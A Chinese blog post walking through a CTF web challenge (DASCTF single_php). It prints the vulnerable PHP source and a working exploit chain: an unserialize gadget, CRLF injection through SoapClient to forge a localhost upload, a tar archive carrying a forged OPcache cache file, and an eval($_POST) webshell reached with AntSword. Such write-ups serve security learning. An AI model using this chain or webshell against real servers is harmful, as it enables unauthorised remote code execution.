DASCTF 十一月月赛 WEB single_php 复现

发布于 2023-12-01  263 次阅读


/自己做的时候路线已经找对了,但是忘了filemtime()这个关键函数/

贴上源码

?LuckyE=highlight_file
//index.php
<!DOCTYPE html>
 <html>
 <head>
 <style>
 img {
 max-width: 200px;
 max-height: 200px;
 }
 </style>
 <title>revenge to siranai.php
 
 
 </title>
 
 </head>
 <body>
 
 <h5>
 This is my wife.She is from Imagination.
 And I,use her name as my id.
 </h5>
 <img src="mywife.png" alt="this is my wife">
 <p>I have been single dog for 19 years.<br>
 One day, my brothers betrayed the singles organization.<br>
 S* and B* ,both of them have the kanozyo.<br>
 Now revenge to them!!!!!<br>
 use '$_GET['LuckyE'](__FILE__);' to begin your revenge!!<br>
 </p>
 </body>
 </html>
 <?php
 error_reporting(0);
 class siroha{
 public $koi;
 
 public function __destruct(){
 $this->koi['zhanjiangdiyishenqing']();
 }
 }
 $kanozyo = $_GET['LuckyE'](__FILE__);
 var_dump($kanozyo);
 $suki = unserialize($_POST['suki']);
 
//siranai.php
 <?php

error_reporting(0);

highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
    die("S* has the kanojo but you don't");
}

 $finfo = finfo_open(FILEINFO_MIME_TYPE);
 if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/x-tar'){
 exec('cd /tmp && tar -xvf ' . $_FILES["file"]["tmp_name"]);
 }

看下源码,index.php中很简单是一个反序列化入口,执行函数,要求传入数组

重点在siranai.php中,REMOTE_ADDR严格限制了IP来源为127.0.0.1,无法用请求头伪造。然后会获取文件,文件类型为application/x-tar,并在/tmp目录下解压

看到这其实已经有想法了,想着有没有一个php的原生类去上传这个文件到siranai.php实现SSRF

然后对于上传的文件,一开始的想法是软链接,但是tar打包的软链接似乎会存在一些权限问题,于是在我自己服务器上打的时候失败了。

但是后面我发现在我自己服务器打的时候连REMOTE_ADDR都没有绕过,可能是我环境有问题

然后就找到了Opcache缓存文件getshell,这个是可用的,先看一下题目的phpinfo

O:6:"siroha":1:{s:3:"koi";a:1:{s:21:"zhanjiangdiyishenqing";s:7:"phpinfo";}}

image-20231201090307292

image-20231201090332876

扩展都安装了,且都符合要求,链子找对了

这里卡了我一下,因为开启了时间戳验证

image-20231201090453566

当时做的时候没有想到filemtime()这个函数

首先我们在本地环境装上opcache并打开一个包含恶意代码的php文件,获取缓存文件,用010打开

//index.php
<?php
    echo "yes";
	@eval($_POST[1]);
?>

image-20231201092114001

image-20231201092136018

用下面的代码计算system_id

<?php
var_dump(md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002"));

image-20231201092338299

214510e772fba140ea7a33a277f2799e

index.php.bin开头OPCACHE后面的字符串替换为system_id

image-20231201092506490

然后就是时间戳

?LuckyE=filemtime

image-20231201093137426

在010更改时间戳

image-20231201093240215

保存这个文件,并用tar打包

新建214510e772fba140ea7a33a277f2799e/var/www/html/目录

image-20231201093424824

image-20231201093520147

最后构造上传链,利用SoapClient,CRLF

<form action="http://426f62fa-45c4-466f-9cd4-a3f11e68859e.node4.buuoj.cn:81/" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit">
</form>

bp抓包,把数据部分url编码复制

image-20231201095056547

image-20231201095114927

利用CRLF构造上传,Content-Length一定不能错!

<?php
class siroha{
public $koi;
}

$data1 = "/*data数据*/";
$s = $data1;
$s1 = urldecode($s);
$ua = "Lxxx\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary8WwIkl79BAPY5kAU\r\nContent-Length: ".(string)strlen($s1)."\r\n\r\n".$s1;
$a1 = new siroha();
$a1->koi = array('zhanjiangdiyishenqing' => [new SoapClient(null, array('uri' => "aa","location"=> "http://127.0.0.1/siranai.php","user_agent" => $ua)), 'getshell']);
echo urlencode(serialize($a1));

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image-20231201095243786

再次访问

image-20231201095309330

成功写入,蚁剑连一下

image-20231201095432236

image-20231201095446457

参考文章:

https://boogipop.com/2023/06/16/PHP8%20OPCACHE%E7%BC%93%E5%AD%98%E6%96%87%E4%BB%B6%E5%AF%BC%E8%87%B4RCE/

https://chybeta.github.io/2017/05/13/%E5%88%A9%E7%94%A8PHP%E7%9A%84OPcache%E6%9C%BA%E5%88%B6getshell/

https://zhuanlan.zhihu.com/p/80918004?utm_id=0